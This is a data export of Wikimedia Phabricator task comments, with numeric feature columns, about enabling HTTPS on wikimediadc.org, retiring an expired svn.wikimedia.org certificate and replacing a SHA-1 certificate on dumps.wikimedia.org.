[Update] In light of recent events (e.g. https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/) I am suggesting that we use HTTPS for all of Wikimedia DC's web properties. I am also bumping this up to High priority",High,80.0,1423543912,1449218689.0,PHID-USER-glyaaucrfe2f5ly43lqk,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-vm7h6zk3plsvaiktebv7,task_description,resolved,True,c3,1,False,False,False,-21,True,1.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.5,2.0,4.0,13.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.0,0.5,2.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,15.5,2.0,0.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,13.5,7.5,1.5,0.0,0.0,6.5,0.0,1.0,0.5,0.0,3.5,0.5,0.0,1.0,3.8770491803278686,0.8442622950819672,"Wikimedia DC has an SSL certificate from Gandi. Jeremyb knows more about it.

Since we own it, why not use it? I am mostly interested in using it for Stripe payment processing, which will handle the actual payment processing (including PCI compliance) as long as we use SSL on our end. But there are other uses, such as having login / logged in users handled by HTTPS, like with Wikimedia projects. Thoughts?

[Update] In light of recent events (e.g. URL I am suggesting that we use HTTPS for all of Wikimedia DC's web properties. I am also bumping this up to High priority"
572868,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"The main wmdc wiki is now HTTPS-only. I'll file a follow up ticket for all the other random domains that WMDC controls.

```
km@km-tp ~> curl -I ""http://wikimediadc.org""
HTTP/1.1 301 Moved Permanently
Server: Apache/2.2.22 (Ubuntu)
Location: https://wikimediadc.org/
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
Date: Fri, 04 Dec 2015 08:42:54 GMT
X-Varnish: 531894175
Age: 0
Via: 1.1 varnish
Connection: keep-alive
```",,,1449218689,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,3,True,,,22,True,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.8787878787878788,"The main wmdc wiki is now HTTPS-only. I'll file a follow up ticket for all the other random domains that WMDC controls.

``CODE``"
548043,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),https://wikimediadc.org now works. In about a week I'll switch it over to HTTPS-only.,,,1445212348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.9444444444444444,URL now works. In about a week I'll switch it over to HTTPS-only.
461399,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"@Legoktm, are there any specific blockers to implementation, such as updating the server software?",,,1432132153,,PHID-USER-glyaaucrfe2f5ly43lqk,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,1,False,,,-7,True,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.176470588235294,0.9411764705882353,"SCREEN_NAME, are there any specific blockers to implementation, such as updating the server software?"
88731,svn.wikimedia.org security certificate expired ,"> svn.wikimedia.org
> Issued by: RapidSSL CA
> Expired: Saturday 31 January 2015

{F37611}",High,80.0,1423166403,1435265694.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-npq6immrq3mstra5yl2a,task_description,resolved,True,c3,1,True,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6666666666666666,"QUOTE
QUOTE
QUOTE

{F37611}"
482000,svn.wikimedia.org security certificate expired ,"deleted cert from public repo, deleted key from private repo, shredd'ed and deleted key from antimony, deleted cert from antimony, delete sites-available/50-svn* from antimony
",,,1435265694,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5294117647058824,"deleted cert from public repo, deleted key from private repo, shredd'ed and deleted key from antimony, deleted cert from antimony, delete sites-available/50-svn* from antimony
"
481998,svn.wikimedia.org security certificate expired ,"Change 220967 merged by Dzahn:
svn: delete svn.wm.org SSL cert

[[https://gerrit.wikimedia.org/r/220967]]",,,1435265474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 220967 merged by Dzahn:
svn: delete svn.wm.org SSL cert

[[GERRIT_URL]]"
481990,svn.wikimedia.org security certificate expired ,"Change 220967 had a related patch set uploaded (by Dzahn):
svn: delete svn.wm.org SSL cert

[[https://gerrit.wikimedia.org/r/220967]]
",,,1435264747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 220967 had a related patch set uploaded (by Dzahn):
svn: delete svn.wm.org SSL cert

[[GERRIT_URL]]
"
481986,svn.wikimedia.org security certificate expired ,"svn.wikimedia.org points to general Apache cluster / text-lb for redirects.

So the certificate isn't an issue anymore and can be deleted.

svn.wikimedia.org has address 208.80.154.224
224.154.80.208.in-addr.arpa domain name pointer text-lb.eqiad.wikimedia.org.
",,,1435264467,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.9,0.875,"svn.wikimedia.org points to general Apache cluster / text-lb for redirects.

So the certificate isn't an issue anymore and can be deleted.

svn.wikimedia.org has address 208.80.154.224
224.154.80.208.in-addr.arpa domain name pointer text-lb.eqiad.wikimedia.org.
"
481979,svn.wikimedia.org security certificate expired ,">>! In T88731#1288890, @RobH wrote:
> However, are we still really wanting to support SVN? 

No :) It has been removed in T86655

Old SVN URLs now redirect (https://phabricator.wikimedia.org/T86655#1402012)",,,1435264383,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,45.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,"QUOTE
QUOTE

No :) It has been removed in T86655

Old SVN URLs now redirect (URL"
459441,svn.wikimedia.org security certificate expired ,"Addition: Only valid for long term, short term I suppose its annoying for folks still using SVN.

However, are we still really wanting to support SVN?  It has been on the depreciation list for awhile now, and I think that is why this generally hasn't progressed.  (We don't typically take a long time to order a certificate ;)",,,1431719180,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,6.0,0.0,17.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,13.0,1.0,1.0,7.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,3.0,1.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8028169014084505,0.7887323943661971,"Addition: Only valid for long term, short term I suppose its annoying for folks still using SVN.

However, are we still really wanting to support SVN?  It has been on the depreciation list for awhile now, and I think that is why this generally hasn't progressed.  (We don't typically take a long time to order a certificate ;)"
459431,svn.wikimedia.org security certificate expired ,"This is only valid still if T86655 is not valid anymore.  As it appears still valid, this would be rejected.

",,,1431718814,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,4.0,4.0,12.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,20.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.8,"This is only valid still if T86655 is not valid anymore.  As it appears still valid, this would be rejected.

"
459103,svn.wikimedia.org security certificate expired ,"@RobH, I gave this to you since svn can't move behind misc web after all. ",,,1431666388,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,17.0,17.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,1.0,"SCREEN_NAME, I gave this to you since svn can't move behind misc web after all. "
459077,svn.wikimedia.org security certificate expired ,also see https://phabricator.wikimedia.org/T83443#914052,,,1431652383,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,also see URL
459075,svn.wikimedia.org security certificate expired ,">>! In T88731#1286844, @Krinkle wrote:
>>>! In T88731#1286842, @Legoktm wrote:
>> I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?
> 
> Added blocker on T98723. We don't need to renew the cert if we just move it's svn viewer behind misc-web-eqiad, which uses the wildcard cert.

This has been suggested before but that only covers the web-part of it and breaks the actual svn protocol which apparently is still used as well.",,,1431652046,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,15.0,3.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.871794871794872,0.7948717948717948,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This has been suggested before but that only covers the web-part of it and breaks the actual svn protocol which apparently is still used as well."
459074,svn.wikimedia.org security certificate expired ,">>! In T88731#1286842, @Legoktm wrote:
> I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?

Added blocker on T98723. We don't need to renew the cert if we just move it's svn viewer behind misc-web-eqiad, which uses the wildcard cert.",,,1431651965,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,13.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,11.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.868421052631579,"QUOTE
QUOTE

Added blocker on T98723. We don't need to renew the cert if we just move it's svn viewer behind misc-web-eqiad, which uses the wildcard cert."
459073,svn.wikimedia.org security certificate expired ,"I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?",,,1431651890,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,18.0,6.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.0,3.8529411764705883,0.9117647058823529,"I just ran into this when someone linked to svn.wm.o in <URL I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?"
424053,svn.wikimedia.org security certificate expired ,"Change 195310 abandoned by Dzahn:
delete svn.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195310]]",,,1426015718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.470588235294118,0.8823529411764706,"Change 195310 abandoned by Dzahn:
delete svn.wikimedia.org SSL cert

[[GERRIT_URL]]"
423245,svn.wikimedia.org security certificate expired ,"Change 195310 had a related patch set uploaded (by Dzahn):
delete svn.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195310]]
",,,1425922573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.041666666666667,0.875,"Change 195310 had a related patch set uploaded (by Dzahn):
delete svn.wikimedia.org SSL cert

[[GERRIT_URL]]
"
420938,svn.wikimedia.org security certificate expired ,"let's close this as rejected, T86655 is happening instead",,,1425496133,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.454545454545454,1.0,"let's close this as rejected, T86655 is happening instead"
407446,svn.wikimedia.org security certificate expired ,@Krinkle: Sufficiently covered by T86655 already?,,,1423167414,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.875,1.0,SCREEN_NAME: Sufficiently covered by T86655 already?
88497,replace dumps.wikimedia.org sha1 cert with sha256 cert,"This tracks the replacement of dumps.wikimedia.org sha1 cert with sha256 cert.

I'll link in the patchset, but I am not sure if we should simply push without announcement?  Dumps are their own particular service, and interrupting any current downloads seems mean.",High,80.0,1423009784,1424341288.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-jtxavgb3caz53o45csni,False,PHID-TASK-2wzbcm7nz252unc7wh6c,task_description,resolved,True,c3,1,True,False,True,-22,True,2.0,0.0,0.0,0.0,2.0,12.0,4.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,6.0,2.0,4.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,10.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.571428571428571,0.8979591836734694,"This tracks the replacement of dumps.wikimedia.org sha1 cert with sha256 cert.

I'll link in the patchset, but I am not sure if we should simply push without announcement?  Dumps are their own particular service, and interrupting any current downloads seems mean."
414007,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Fixed, we had the old 'leading blank before ---BEGIN line in the cert' bug.  Deployed and serving. Closing ticket.",,,1424341288,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6923076923076925,0.8461538461538461,"Fixed, we had the old 'leading blank before ---BEGIN line in the cert' bug.  Deployed and serving. Closing ticket."
